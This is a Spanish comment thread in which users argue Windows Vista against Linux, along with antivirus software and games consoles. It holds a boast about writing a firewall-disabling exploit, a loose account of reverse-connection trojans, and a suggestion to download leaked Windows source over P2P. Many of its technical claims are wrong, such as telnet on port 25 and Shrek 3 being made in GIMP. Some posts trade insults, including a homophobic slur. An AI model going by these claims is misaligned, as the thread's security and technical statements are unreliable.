betoo te recomiendo instalar Ubuntu pero primero dale una leida a esto: http://www.guia-ubuntu.org/index.php?title=Portada

Me volvere viejo esperando y buscando un virus para Ubuntu, no tengo antivirus ni firewall, y aun asi no encuntro ni me llega nunca el virus que un individuo me prometio.

pero el Windows es mas compatible con programas juegos arcades emuladores ej progect 64. solo se dejan envisiar por la musica y sus efectos por que la mayoria de los programas son para awaindows

ESTOY DEACUERDO CON ANTILINUX

Ya se salieron del calzon.

Gracias por tu reconmendacion...¡¡¡

Para Luis Rodrí­guez:

Puede que Linux sea inmune a los virus y que Windows no, pero para eso existen los antivirus. Son muy recomendables Norton AntiVirus y Kasperski AntiVirus. Como primera instancia, para que no seamos ví­ctimas de virus no debemos comprar accesorios que no sean originales, no conectar dispositivos infectados, no instalar, ejecutar, guardar o abrir archivos cuya procedencia sea desconocida, etcétera. No veo sinceramente otra "ventaja" que Linux tenga sobre Windows. Para mayor seguridad en Windows, podemos instalar Windows Live One Care, o mantener activo y actualizado Windows Defender. Rematamos la contradicción acerca de la superioridad de Linux sobre Windows con un arma sutil y sublime, pero muy poderosa, que es la compatibilidad del sistema operativo de Microsoft con la consola XBOX 360, que es la más alta experiencia en videojuegos, obviamente parte de la familia Windows. Pero todaví­a hay más: En el estuche de los dispositivos USB Kingston hay un pequeño cuadro de diálogo que dice "Works with Windows Vista". Ésto comprueba que Windows es el SO más conocido y es compatible con uno de los principales fabricadores de dispositivos USB. Pueden visitar http://www.microsoft.com/ o http://www.microsoft.com/windowsvista/ y convencerse de que Windows es un sistema que combina alta tecnologí­a tanto como para el hogar como para las empresas. Incluye Windows Vista un programa de entretenimiento personal eficiente y de atractivo visual: Windows Media Center. Por todo ésto y más ¡Elige Windows Vista y nota la diferencia!

Muy bien Luix Enrique ya le quite los sumos a Luis Rodriguez. No pudo con migo el jura y perdura que no hay virus para Ubuntu si en la misma pagina de ubuntu los usuarios lo dicen. Ademas concuerdo todo pero todo lo que dices Luis enrique. Ademas windows vista es mas facil de utilizar que ubuntu ya que para istalar o manejar los drivers utilizamos MMC QUE ES MICROSOFT MANAGENT CONSOLE que es la herramienta de computer manager. y en ubuntu es una ventana dificil de configurar. Lo que pasa es que Luis Rodriguez esta intentando meterle por los ojos Ubuntu. Pero puedo decir que otro sistema operativo hecho con el nucleo de linux es mucho mejor que ubuntu que es SUSE Linux que es mil veces mejor que ubuntu pero mejor que Linux en general Windows Vista. Hay que quitarles de la mente a los usuariso que el esta intentando cambiar, a que reflexionen y que no se deje comer el celebro por LuiS Rodriguez. Creo que nos podemos comunicar via E-Mal. Este es windows_nt6.0_vista@hotmail.com

Espero que no cometan la desgracia de cambiarse a ubuntu. mejor actualizesen a windows Vista que 512MB de memoria corre perfecto...

Quiero tambien darles una noticia a todos los usuarios de PC Windows Vista puede correr muy bien hasta con 495MB o mas, no necesariamente tiene que ser 512MB de memoria para instalar el vista y con todo y eso corre perfectamente, hasta es compatible con Intel Pentium 3 y mejor con Intel Pentium 4. Con Pentium 4 corre mucho mas rápido. Ya hise la prieba y resulto. Haora te toca a tí¯...

Si claro con 512 de Ram y se arrastrar ante sus ojos, hay Luis Enrrique que ciego estas. Tu gran argumento es una consola de videojuegos, que barbaro, y Ramses, pon el link donde un usuario dice que hay un virus en Ubuntu, de seguro es un usuario loco como .Tu me prometiste un viirus en Ubuntu y no me ha llegado ninguno. Y otra cosa, no estoy casado con Ubuntu, todas las distros son buenas y todas tienen su encanto, TODAS son mejores que cualquier Windows, si no ¿para que se hicieron?

Dice Luis Enrrique:

"Puede que Linux sea inmune a los virus y que Windows no, pero para eso existen los antivirus. Son muy recomendables Norton AntiVirus y Kasperski AntiVirus. Como primera instancia, para que no seamos ví­ctimas de virus no debemos comprar accesorios que no sean originales, no conectar dispositivos infectados, no instalar, ejecutar, guardar o abrir archivos cuya procedencia sea desconocida, etcétera."

Procedere a refutarlo.

1) Los antivirus existen para sacarte dinero y pra relentizar tu sistema, si claro puedes piratearlos, pero son la solucion a un problema que no deberia existir.

2) Para tu "primeria instancia" ¿Cuales son los accesorios no originales? y ¿como sabes que un dispositibo esta infectado? yo no tengo semejantes paranoias y en Linux puedo conectar cualquier dispositivo, instalar, abrir y ejecutar cualquier archivo sin temor a virus.

3) Tus argumentos estan destruidos. Lo del 360, no tiene caso comentarlo, yo prefiero el Wii.

Y miren lo que dice el ciego de Ramses (no te queda el nombre para nada):

"Ademas windows vista es mas facil de utilizar que ubuntu ya que para istalar o manejar los drivers utilizamos MMC QUE ES MICROSOFT MANAGENT CONSOLE que es la herramienta de computer manager. y en ubuntu es una ventana dificil de configurar"

Bueno en Ubuntu existe el "Restringed manager" que con un solo click te descarga e instala los drives de las targetas Nvidia y Ati, facil y rapido. Ningun otro componente necesita drives extra. Primero informate antes de hablar.

Y si no quieren usar Ubuntu, pueden probar Mandriva , Fedora, Suse etc. todas exelentes. O miren esta belleza:

http://www.dreamlinux.com.br/portugues/highslide/saiba-screen.html

virus en linux???

de que existen si existen pero cuantos???

respuesta: 40 nada mas

segun su codigo fuente son virus, pero en la practica nunca lograron ejecutarse

por no poseer los permisos necesaros, eso era en la epoca de los primeros kernels hasta el 2.4.

no seria lo mas logico que el kernel 2.6 este mas protegido???? la verdad

es que he probado hasta ejecutando virus de windows con el wine y ninguno

ha hecho efecto

en windows vista he probado virus, troyanos, y un exploit que acabo de crear (con fines educativos) que su funcion es derribar el firewall de windows

todos esos malwares causaron graves daños al sistema y algunos hasta corrompieron la particion windows

Asi es Destroyer, esos individuos no saben de lo que hablan, ademas ponen de argumento al XBOX 360, JAJAJAJAJA.

jajajajajajajajajaj risaaa aun no paro de reir

en la pagina de microsoft windows marketplace

estuvo disponible un tiempo una link de descarga

de ubuntu GNU/Linux y lo que me dio mas risa fue

que hasta la misma microsoft lo trato de perfecto

despues de miles de copias descargadas microsoft

elimino la seccion de la pagina jajajajajajajajajajaja

microsoft al parecer esta asumiendo que linux es mejor.

Busquen ustedes mismos en google la noticia se expandio

es todos lados

Hay que pena que ustedes sean unos linuxeros fanaticos. miren yo se que con mi Windows Vista me quedo y no me van a quitar la idea, ademas ustedes dejeron que no hay virus para Linux pero hay una personita que dijo que hay 40 en que quedamos hay o no hay. Mira les voy a decir una cosa. un programador que crea los virus los crea con el fin de joder a los usuarios. bueno a que sistema operativo van a joder. A windows porque es el mas usado del mundo. para que van a atacar la minoria?? Ademas estoy seguro que si Linux fuera el mas usado lo atacarian a el y con mas facilidad. No sean mustios. y despues el luis rodriguez con el Wii diache mano que porqueria mejor es el 360 y el plays station de sony. Bueno y si destroyer crea virus educativos por que no crea virus para Linux y deja a los usuarios de windows utilizar su sistema operativo tranquilamente. Ademas en windows no hay que utlizar terminales para instalar o hacer cualquier cosa como Linux. Miren la cuestion es que Gracias al Beril Linux ha cojido mas de popularidad. Y creo que si sale un beril o algo parecido para vista Windows vista seria mucho mejor que Linux + Beril. Ademas Beril le ha copiado mucho a Aero de Windows. Y Windows Vista tiene Aero istalado en el shell. No sean embidiosos. Ademas Existen antivirus gratis!!! y muy buenos como el AVG entre otros. Y son muy utiles asi que no estan para sacarte el dinero. Jajaja Y creo que Unix le va a dar una demanda a todo Linux por que tiene parte de su codigo fuente copiado jajaj, haora que no me diga Lius Rodriguez que Linux no tiene nada de Unix por que el me lo ha dicho. Ustedes con su linux son un clon. y beril es un clon de aero. y linux con su interface es un clon de Windows. Perdonen otra cosa windows vista tiene para bajar sus drivers desde Windows Update en el MMC Computer manager. Asi que no siempre falsas esperctativas. manegar los dispositivos con Windows Vista es mucho mas facil y sencillo. no sen mustios embidiosos. A hace poco me compre un pen drive de 8GB y saben lo que me dice. Para Linux hay que estar conectado a internet para bajar el driver. pienzo que para los pobre que no tengan aceso al internet por que los hay. esos me imagino que no podran usar su Pen Driver co Linux. Mientras que con windows tu lo insertas y automaticamente windows lo reconoce y lo isntala en solo segundos. CON ESTO LOS DEJO MASOS DE EMBIDIOSOS Y RECUERDEN YO SOY MAYORIA CON WINDOWS Y USTEDES SON MINORIA CON LINUX..

LINUX PARA PERDEDORES

(WINDOWS 7 TENDRA UN KERNEL NUEVO)

Jajajaja.

QUE VIVA EL SOFTWARE COMERCIAL

MICROSOFT WINDOWS VISTA

El perdededor eres tu Ramses que nadamas estas a espensa de una empresa comercial.

1) De hecho Linux en realidad se denomina GNU-Linux, por su cercania con el proyecto GNU y GNU es un acronimo recursivo que significa "GNU no es UNIX" y claro que es un clon de Unix, se hizo asi para que sea compatible con este, otras clones de Unix, son BSD, Solaris y Mac O.S.

2) No entendi lo de tu Pen Drive de 8 Gb, ¿ Eso que diablos tiene que ver? El soporte para Pendrives ya esta en el Kernel de Linux no necesitas buscar drives de nada.

3) La terminal, es una herramientas poderosa, pero no es indispensable en Linux.

4) Estoy en Linux porque me harte de Windows y sus errores.

5) Ni Beryl ni Compiz son clones de Aero, te ves ridiculo afirmando eso.

6) En el Software libre claro que se utiliza codigo ya escrito para no tener que comenzar todo de cero, eso es parte de la filosofia del movimiento GNU y la licensia GPL.

7) YO tengo varios Pendrives y los uso perfectamente.

8) Claro que se que para Windows hay antivirus gratis, el mejor de todos es un aleman llamado Antivir.

9) Los 40 "virus" de Linux fueron solo experimentos, ninguno funciona realmente, nadie fue infectado, asi que no cuentan.

10) Yo no tengo problemas con ningun dispositivo.

11) Si no tienen internet, entonces instalen Fedora, Mandriva u OpenSuse, que vienen en un DVD, y por lo tanto vienen con mucho Software.

12) Ramses alias antilinux, ya callate, te ves mal, se nota que no sabes de lo que hablas te vez muy mal, bastante mal.

Y con respecto al Wii, este no es lugar para discutir de consolas, pro esa discusion no tiene la menor importancia. Y si segun tu, lo mejor es lo que se vende mas, pues entonces el Wii es "mejor" porque ahorita se esta vendiendo mas. Y por cierto el sistema que trae el Play Station 3 es un Linux. Que ignorancia la de Ramses, ya ni poirque llevas en nombre de uno de los mas grandes faraones de Egipto te pones a investigar antes de hablar. Que ignorante.

Soy usuario de linux desde hace aproximadamente tres años. Al principio me tuve que "desacostumbrar" de Windows, puesto que linux tiene una arquitectura distinta y una distribución distinta de las cosas, pero de a poco fuí­ aprendiendo con mi primer contacto en el mundo linuxero; Suse 9.1. Después pasé a la versión 10 (excelente digamos) y finalmente hoy me encuentro usando opensuse 10.2 y esperando la 10.3 (Todaví­a andamos por las versiones alfa). Después de estos tres años, cada vez uso menos el XP (que comparto en mi disco duro junto con linux). Para aquellos usuarios de windows que recién ven esto de linux, les digo, no se equivoquen, no piensen solamente en esta demo. Linux es una herramienta muy, pero muy poderosa, y que tiene una cualidad impresionante. Ha sido desarrollado por un montón de trabajadores a lo largo del mundo y contiene muchí­simos menos errores que cualquier versión de Windows. Los invito a probar lo equivocado que estoy.

Linux no es linea de comandos, como algunos desconocedores del sistema se llenan la boca hablando, en www.kde.org pueden ver uno de los gestores gráficos que utiliza linux y es realmente excelente. Estable y duro como pocos. Respecto de la configuración, no he probado otras distros, solo Suse y con YAST (su heramienta central de gestión del sistema) se pued configurar TODO con un mí­nimo de esfuerzo.

Beryl es un proyecto anterior basado en XGL al tristemente famoso AERO, por lo cual veo que Ramses a pagado con parte de su cerebro la licencia de Window$. Para un usuario hogareño, no hay tanta mí­stica en usar e instalar linux, de hecho, cosa que no alcancé a leer aquí­ (si es que lo dijeron, disculpen la repetición) Linux al instalarse NO BORRA SU WINDOW$. Simplemente hace espacio en disco, carga un gestor de arranque y genera una partición para su linux, si quiere seguir usando window$ PUEDE SEGUIR HACIENDOLO con solo seleccionar ese sistema operativo desde el arranque.

También linux puede montar particiones NTFS (por ahora solo lectura aunque puede habilitarse la opción RW del kernel) y puedes traer a tu partición linux cualquier información necesaria, haççabrir archivos excel y word con openoffice y también ver presentaciones powerpoint on evince.

Juegos? Bueno, linux tiene un programita (pago) que se llama CEDEGA y permite instalar y ejecutar muchí­simos juegos de windows sin inconvenientes. Pero si quieren ver que tal le pega a linux un juego, les recomiendo probar de instalar la versión linux del Doom 3 y luego me cuentan que tan malo es linux para juegos.

He leido unos pocos (gracias a Dios) comentarios como el de Ramses, calculo que debe ser la misma persona despotricando por varios lugares. Les aconsejo algo. PRUEBEN!. Vean que tan "MALO" es cada sistema operativo, y luego decidan por ustedes mismos, y verán que hay cosas que les sirven y otras que no. Pero sean ustedes LIBRES de decidir lo que quieren, y no piensen que el tonto argumento de "el 80 % del soft está hecho para windows" es algo que merece la pena escribirse. Porque Windows solo ha acaparado el mercado y la gente que programa (como cualquier otra, por supuesto) quiere ganar dinero con lo que hace. Para este, no sé como llamarlo, usuario a ultranza, le digo que compare, por ejemplo, NERO con K3B y luego que siga hablando pavadas. Que me digan que no reconoce internet una distro de linux, es casi una blasfemia, cuando la mayorí­a de los servidores funcionan bajo distribuciones linux.

O sea, investiguen, en internet hay de todo, y si quieren probar SuSe, pueden ir a www.opensuse.org y descargarlo GRATUITAMENTE, sin limitaciones de tiempo ni nada, con soporte y actualizaciones.

Saludos a todos y muchas gracias por el espacio.

Asi es Adrian, de acuerdo con lo que dices, yo utilizo Linux para todo, tengo dos Computadoras con Xubuntu instalado y ahi hago todo. En Ubuntu y todos los derivados de Debian existe apt-get y su gui Synaptic, que es el equivalente de Yast de Suse, y te permite instalar y desistalar programas facil y rapido.

Sigo esperando el virus para Ubuntu que me prometio el tal Ramses, sigo, con verdadera fe esperando ese virus y ya va va casi un mes y aun no me lo envia.

jajajaj Luis Windows Vista me salio gratis. Ademas el que se llena la boca diciendo lo que no sabes pensar eres tu. Ya aceptalo Windows es el mejor sistema operativo del mundo. Linux para perdedores como tu.. Pobre Pobre Pobre.

Asi que usuarios finales pienzelon no se dejen llevar por los talibanes de Luis que es el taliban mas GAY QUE HE CONOCIDO DE LA COMUNIDAD LINUX. Pienselon mejor cambiensen a MACOSX que es mejor que ubuntu.

HASTA NUCA LUIS RODRIGUEZ.. JAJAJAJAJ

NO AGUANTES PRECION SE TE NOTA QUE ESTAS ENOJADO YO NO SIGO FELIZ CON MI WINDOWS VISTA ULTIMATE.

No noestoy enojado, solo espero a ese virus prometido con ansidedad, y ahora como ya termine de trabajar, voy a darle vueltas a mi Cubito de beryl como loco feliz de la vida, mientras escucho musica y que mo unos dvds y a haber si mientras, Ramses me manda el virus prometido.

No puedo creer q lo piensen y lo discutan... Solo con un Mac puedes usar todas esas alpargatas de SO como WinVista y Linux... Y funcionar como reloj suizo con una Leopard

4Gb de ram???? y como sistema es una porqueria

windows vista gratis???? o es pirata o crees que te lo regalaron con tu pc nueva pero si fuese la segunda opcion es por que estas equivocado al comprar un pc con windows preinstalado + el cd el precio de este va incluido en la maquina

para los que dicen que linux no es profesional por que no corre ciertos programas, lo es macromedia dreamweaver???? en la actualidad a una empresa seria le haces una web en dreamweaver y te la arrojan por la cabeza dreamweaver = HTML = arcaico lo que se usa hoy : genexus, ajax, php. todo esto funciona perfectamente en linux y a excepcion de genexus en los demas se toca bastante el codigo. the gimp no esta a nivel de photoshop??? Shrek 3 esta hecha en the gimp.

en resumidas cuentas y segun lo que he leido cada sistema esta destinado a cierto nivel de usuario dandole infinidad de posibilidades segun lo que quiera hacer.

Windows : para el que con suerte sabe mover el puntero del mouse y hacer click, jugar a una fluidez equivalente a presentacion power point (30-60 fps en mi geforce 6600 jugado doom3 en ultra quality) usar msn y que te sepan hasta que tienes en mis documentos, en pocas palabras para un luser sin conocimientos, un fan de formatear cada cierto tiempo y de gastar recursos con software antivirus (sistema operativo solo comparable a MS-DOS)

Mac OS X : para profesionales en el area del diseño grafico, edicion de video, gente que necesita de una maquina con mucha potencia para calculos flotantes y un SO seguro aca el equivalente a una maquina windows corre el doom 3 a

80-120 fps ultra quality (comprobado en mi macbook)

Linux : para gente con buen razonamiento logico y pensamiento lateral en pocas palabras gente que realmente piensa, originalmente destinado a servidores (hotmail.com y un 80% de los servidores microsoft funcionan bajo suse linux, BSD y Solaris) pero demostrando estar a nivel del poderoso Mac OS, en juegos los lulos dicen que no sirve pero apuesto a que nisiquiera juegan los juegos que ellos mencionan y hasta nisiquiera le funciona en sus maquinas, la mayoria ya funcionan en linux y mas rapido que en windows (doom 3 en ultra 50-90 fps en mi nvidia 6600)

eso seria aproximadamente un : "dime que sistema usas y te dire que nivel de usuario tienes"

retomando el tema de los juegos ya que tanto critican a linux en eso si me muestran una imagen donde una simple geforce 6600 supere los 400 fps en quake 3 me cambio a windows en caso contrario sigo disfrutando de mis 6600 en SLI en mi gentoo

respondiendo lo de mas arriba, por ser una minoria somos perdedores???

no sabias que a esa minoria el las grandes empresas de la informatica los

consideran usuarios de ELITE???

en pocas palabras si eres usuario de linux sientete en la ELITE de la informatica

Para Luis Rodriguez:

Objetamos una vez más cada comentario equí­voco acerca de la inferioridad de la familia Windows sobre otros productos: La consola Wii presenta un abanico de videojuegos reducido respecto a la XBOX 360. Con la XBOX 360 Elite podemos abarcar la máxima experiencia en el mundo de los videojuegos y con el HDD (Hard Drive Disc) de XBOX de 120 GB podemos obtener el máximo espacio de almacenamiento que ofrecen las consolas de Microsoft. Tu cometario referente a que las consolas Wii se venden más que las XBOX, es posiblemente cierto, porque son más baratas, pero obviamente de menor calidad. Ni la PS3 se compara con la XBOX 360 Elite, se necesita de algo mejor para alcanzar el más alto lí­mite de diversión y gráficos.

Ahora bien, los antivirus ofrecen aparte de seguridad, eliminar archivos nocivos para el equipo y poner elementos en cuarentena. Imaginemos ahora que insertamos un dispositivo de almacenamiento masivo USB con una amenza de virus en un sistema "inmune" como Linux. El tener Linux nos garantiza invulnerabilidad para el equipo, pero no para el dispositivo basado en USB. Los antivirus en cambio, invulnerabilizan el equipo y pueden erradicar la amenza de virus en el dispositivo USB. Por lo anterior, los antivirus no son un gasto inútil. Ya vamos avanzando. Si bien, hacen lento el equipo, se puede incluir más memoria RAM. Es bastante aconsejable comprar dispositivos Kingston.

Podemos darnos cuenta de que un dispositivo es original y de versión genuina con los hologramas y sellos (que regularmente son de color tornasol) que se incluyen en la caja o portada del dispositivo, programa o aditamento. Con ésto basta para acabar con tus contradicciones.

y hay virus que integran codigo exploit dentro cuyo payload es desactivar el antivirus, firewall, y antispyware dejando la maquina desprotegida (W32/Chir.b)

y en las consola ni la wii, ni la ps3 o la xbox 360 superan en potencia a mi pc con linux procesando graficos y mi pc me costo menos plata

Tocayo Luis Enrrique, no se como te atreves a decir algo despues de que Destroyer te puso en tu lugar a ti y a Ramses. De todas maneras te voy a refutar, comencemos:

1) EL tema de las consolas aqui no cabe, no tiene sentido, son aparatos de entretenimiento y nada mas, y que cada quien se compre la que le guste. Y hablando objetivamente la mas potente es la PS3, y su sistema tiene un nucleo con Linux. Ademas Linux ya lograron portarlo a todas las consolas, pero eso tambien, es tema aparte.

2) Los antivirus no garantizan inmunidad, de hecho ningun antivirus es 100% efectivo, ademas, un antivirus es la solucion a un preoblema que no deberia existir, ya que ese problema solo existe en los sistemas Win, y se ha creado una industruia en torno a ellos. Un antivirus hace lento el equipo, son un derroche de recursos, materiales y monetarios, mejor seria utilizar un sistema que NO Requiera antivirus. Ya vamos avanzando.

3) Un virus daña al sistema no al dispositivo USB, si hay virus que te formatean al dispositivo USB, PERO DESPUES DE INTRODUCIRLO A WINDOWS, si lo introducimos a linux (ya lo he hecho) los "diabolicos virus" los veremos como archivos inofensivos y raros, incapaces de ejecutarse, y los podemos borrar a mano y ya, dispositivo USB limpio.

4) De lo anterrior, podemos concluir que el antivirus gasta recursos, economicos y de rendimiento del PC, entonces yo prefiero un sistema que no requiera antivirus y los Sisemas "like Unix", como linux, no requieren antivirus. Entonces el antivirus es necesario "solo" si usas Windows, y esa es una de las razones por las que deje Windows, el antivirus.

5) Yo no he visto dispositivos USB piratas, es decir que digan "Kistron" en vez de Kingston, o que digan Kingston y se les caiga la pintura solos. He visto marcas chinas de dudosa calidad tal vez pero eso no tiene que ver nada con los virus, a lo mucho el dispositivo se estropera pronto, pero no tiene nada que ver con virus.

6) Ahora bien, con respecto a software, yo no hago ni compro pirateria, ya que uso unicamente software libre (y alguno propietario, pero gratis como opera), y esto TAMPOCO tiene que ver con virus.

7) Con esto basta para acabar con TUS contradicciones.

PD. al decir "compren solo productos originales" suenas como un pelele de Mocosoft.

si se dan cuenta hoy se cumple exactamente un año desde q se inicio este foro ... XD

Para Luis Rodrí­guez:

Teniendo en cuenta la opinión que se refleja en tus incoherentes comentarios acerca de que los antivirus son un gasto inútil, optaré por escribir un punto a favor de Windows y los antivirus:

1. Los antivirus que operan especí­ficamente en la mensajerí­a por Internet como Windows Live One Care nos ayudan a supervisar y/o rechazar archivos provenientes de contactos que no conocemos...

Imaginemos ahora que una red de secuestradores nos enví­a un mensaje sin virus pidiéndonos que proporcionemos nuestros datos personales. Al no conocer nosotros sus intenciones, podemos recurrir a dos opciones: utilizar Windows Live One Care o activar el Filtro de Suplantación de Identidad (Phishing) que incluye Windows Internet Explorer 7. En Linux, en cambio, como no se cuenta con antivirus que supervise y/o bloquee caracterí­sticas, ví­nculos o mensajes provenientes de contactos no deseados, es más probable que seamos blanco de una de éstas trampas que manejan por Internet. No es necesario que un mensaje contenga un virus para que sea una amenaza, ya no tanto para el equipo, sino para el que interactua con éste. Por ésto mismo, en éste ámbito, Linux se queda en ceros. Ahora bien, todo lo relacionado con la familia Windows puede incluí­rse en éste sitio web, punto que no excluye las consolas, es decir, todo en lo que respecte a tecnologí­a podemos escribir y hacer del conocimiento a nuestros participadores. Para erradicar el problema de la lentitud que causa un antivirus en nuestro equipo, repito, podemos añadir más memoria RAM.

Nunca mencioné que los antivirus fueran 100% seguros, sólo reducen las probabilidades de que seamos infectados con un virus. Y precisamente, los virus existen por gente que compra piraterí­a, por gente que no sabe distinguir si un dispositivo, disco de instalción o hardware no es original. Por ésto precisamente, se creó para los programas de Microsoft un método llamado Activación, que requiere de una clave para un sólo usuario, evitando así­ que se copien de discos. ¿O también es Linux inmune a la piraterí­a?. Ahora daré el jaque mate con éstos otros puntos:

1. Para no recibir amenazas de virus, no debemos descargar, aceptar, ejecutar o abrir archivos o mensajes cuya procdencia sea desconocida.

2. No es recomendable abrir páginas cuyo certificado de validez haya expirado o esté suspendido.

3. En programas como Windows Live Messenger es recomendable utilizar apodos neutros en lugar de nuestro nombre como mensaje personal.

4. No es recomendable responder a cuestionarios o formularios porque a veces enví­an la información a un sitio desconocido e inseguro.

5. Nunca comentar en foros o páginas web nuestro domicilio, nuestro plan de actividades o en dónde estaremos, pues ésta información és útil para planear secuestros.

Si seguimos éstos puntos al pie de la letra no tiene porqué infectarse con un virus nuestra computadora con Windows. Si toda la gente siguiera éstos pasos, los creadores de virus no tendrí­an método alguno para infectar los ordenadores que corren Windows y Linux no tendrí­a ya ningún punto a su favor para competir con Windows.

Y... un favor, evita insultar a los que escribimos en éste foro, ya que no estamos ni en una cantina, ni en un mercado, ni nada por el estilo. Observa que yo no he escrito ninguna palabra altisonante en ninguno de los mensajes en los que me dirijo a tí­. Y en cuanto a que "Destroyer" nos puso en nuestro lugar a mí­ y a Ramses, no se trata de discutir ofensivamente, sino llevar un debate ordenado y con crí­ticas favorables a los punto del oponente.

TENGO VISTA CON 512 En Una Celeron A 2.8 Todo Es Solo MENTIRA...

Me Funciona Y Todo Lo Hace Con Comando DE voz...

Bueno, he probado la última versión de Vista y es bastante buena, hay que reconocerlo.

jajajajajajajajajaj los linuxeros cagones andan cmo viejas chismosas envidiosas porque no le pueden poner Vista a sus 386

¡Que me parto!

uso linux en mi pc pero windows vista lo podria correr 4 veces y mi maquina y los correria sin problemas hasta con aero asi que el que se parte mejor que se calle

no te pegas virus si dejas de visitar ciertas paginas o no recibes cosas mensajeria?? tambien si dejas de leer ciertos mails?? es que me tengo que limitar en todo para no infectarme??? osea no puedo hacer lo que yo quiera por que mi pc se va a infectar?? entonces mejor boten windows a la basura que es donde debe estar con mi gentoo puedo hacer de todo con libertad, visitar cualquier pagina, recibir cualquier archivo por mensajeria, leer hasta los mails tachados de peligrosos sin miedo a infectarme, con windows es diferente ya que estan de moda los virus, exploits y troyanos DE CONEXION INVERSA!!!! osea ustedes se conectan a donde esta el malware o hacker y no necesitan ingresar ningun dato malicioso a su pc, osea aca el antivirus no detecta nada ya que no ha entrado nada pero su sistema esta siendo atacado de la peor manera, mediante conexion inversa (Poison IVY, Bitfrost) estos programas lo que hacen es a cierta direccion IP le realizan un scan de puertos y aquel que no este protegido por el firewall (incluyase 80, 21, 25) o este fuera de su rango de proteccion abre una puerta trasera y le envia paquetes para que la respuesta sea una solicitud de conexion pudiendose tomar el control total de la maquina, que seguridad no???? bueno experimetando con linux en el kernel (para que vean que tambien le hago maldades a linux xD) por telnet (puerto 25) logre hacerme root en el kernel 2.4 pero una vez lo actualize ya no pude osea ese sistema si falla lo corrigen de inmediato me sorprendio con la velocidad que reparan los bugs, ese es el poder que tiene una comunidad de miles de usuario a el poder de una empresa con unos pocos empleados, por que creen que la union europea se cambio a linux?? por que creen que los gobiernos europeos exigieron el codigo de windows?? enviandole micro$oft solo el 30% (codigo que se filtro en la red) asi que los europeos se cambiaron a linux.

Y les doy un dato ya que logre conseguir el codigo fuente de windows que se filtro en la red : el nucleo de windows NT, 2000, XP ES CASI LO MISMO!! segun veo en su codigo fuente (lo pueden descargar mediante P2P) osea la misma burrada vendida con distinta ropa.

Luis Enrrique es un caso perdido, ya no le hagas caso Destroyer que el muchacho desvaria.

y para finalizar, expliquenme con sus palabras, que es un kernel???

PWN3l)!!

Para "Destroyer"

Suena extravagante y exagerada esa frase desentendida con la que inicias tu comentario al que respondo. No es necesario voltear enfermizamente a todos lados para corroborar que nos estén mirando cuando caminamos en la calle. Ésto mismo ocurre cuando hablamos de virus informáticos. Comenzando a destruir aquellas frases inconexas que acusan a Windows de ser un sistema caro y vulnerable a los troyanos y a los virus, tenemos como punto de partida mi anterior comentario. Es ilógico pensar que la seguridad que ofrece Windows Live One Care sólo es para la computadora y no para el que interactúa con ella. Hay amenazas de otro tipo: secuestradores, asesinos en serie, etcétera. Ahora bien, nadie, absolutamente nadie puede leer un mensaje no seguro con toda la certeza de que nada le pasará, ya que nunca sabemos cuando estaremos al borde de una experiencia con la delincuencia que nos es frecuente ver.

Mencionas lí­neas más abajo que todos aquellos que no tienen Firewall o estén fuera de su rango de protección es vulnerable a que le controlen su ordenador. Por ésto menciono que tenemos que actualizar, checar y controlar todos los aspectos, caracterí­sticas y definiciones de antivirus como Windows Live One Care, la cual es mi herramienta maestra para cerciorarnos en parte de que estamos protegidos ante el mundo poco seguro que ofrece el Internet. Ahora bien, estuvo inconclusa la frase a la que haces referencia a que Europa utiliza Linux, tal vez en su gran mayorí­a sean usuarios de Linux los europeos, pero no del todo, es decir, Windows también fué creado para Europa y no sólo para E.E.U.U. Y... dudo mucho que Windows pertenezca a la basura, imagino que hay más de un 75% de probabilidades de que cuando compraste una computadora nueva haya venido con Windows.

LINUX NO DEJAS DE SORPRENDER PERO EN REALIDAD CREO Q ERES MAS USADO POR EMPRESAS GRANDES Q POR PERSONAS COMO NOSOTROS TIENES Q VER AL IGUAL Q WINDOWS EL QUE EL USUARIO COMUN PUEDA UTILIZARTE SIN TEMOR.

con la delincuencia frente a frente no existe metodo para protegernos, a lo del firewall aclaro que linux por defecto cierra todos los puertos, y a medida que los vayamos usando se nos pregunta en el caso de las distros mas faciles de usar o tendremos que habilitarlos de forma manual el rango de proteccion de las herramientas microsoft van desde el port 21 al 65999 solo protege hasta ahi, pero si lo ataco por el puerto 8000??? y sobre la delincuencia Kyokushin+Jujitsu+arma de fuego en mi casa, me siento muy seguro

OWNED!!!!

Mira Luis Enrrique, no discutas con Destroyer porque a todas luces no eres nada en comparacion con el (habalndo de lo que estamos hablando, claro) y dejame decirte que Destroyer se referia a que en Europa, muchos gobiernos, han migrado a Linux en sus dependencias, para reducir costor y aumentar seguriadad. Y si tal vez todas las PC de fabrica vienen con Win prinstalado, pero mucha gente las formatesa e instala Una distro Linux, yo prefiero comprar la PC por partes, armarla a mi gusto e instalarle Ubuntu.

Destroyer, te felicito por usar Gentoo, esas si son palabras mayores, ¿Vista? ja ja ja.

Oye Rocio, ¿Que es lo que te atemoriza de Linux? ¿Que se salga un pinguino por la pantalla y te muerda? y ¿A que te refieres con "usuarios como nosotros"? No te entiendo. Linux es para todos y es MAS FACIL de lo que te imaginas. Pruebalo y veras.

A y por cierto Rocio, los usuarios de Windows son los que sienten temor de utilizar Windows. Ya vez hasta Luis Enrrique dice que si no tienes antivirus te pueden secuestrar...?¡

Al tal Destroyer hay que denunciarlo, no es más que un delincuente informático. Gentuza como ésta y varios más de este foro son los que hacen que el buen Linux siga siendo minoritario en su uso.

Totalmente de acuerdo con el anterior.

En Informática existen tópicos exactamente igual que en todas las disciplinas del conocimiento. En primer lugar quisiera destacar que un tópico no va necesariamente acompañado de una certeza o de una falsedad; simplemente se refiere a lo empleado en la mayorí­a de las ocasiones.

Si acudimos a los "entendidos" inmediatamente nos dirán que Windows (en general) es un pésimo Sistema Operativo y, al mismo tiempo, ornarán Linux de mil loas y panegí­ricos.

No deseo entrar, por razones que todos entendemos, en una prolija comparativa entre Windows y Linux en todos sus aspectos porque modestamente entiendo que hay profesionales mucho más capacitados que yo para hacerlo. Lo único que deseo es limitarme al más angosto terreno de la Seguridad, aunque antes expongo mis limitaciones en el análisis.

Cuando hablamos de Windows y Linux, ¿a qué Sistema Operativo concreto nos referimos?. Aquí­ podemos entender aún más la limitación del análisis. Hay docenas de versiones de Linux en continua expansión y varias versiones de Windows que entre sí­ también presentan notables diferencias.

Como ven Uds. me veo impelido a ser muy sintético y poco técnico en este artí­culo. Esto ayudará a los lectores aficionados a la informática y rechazará a aquellos más avezados y profesionales en esta apasionante disciplina.

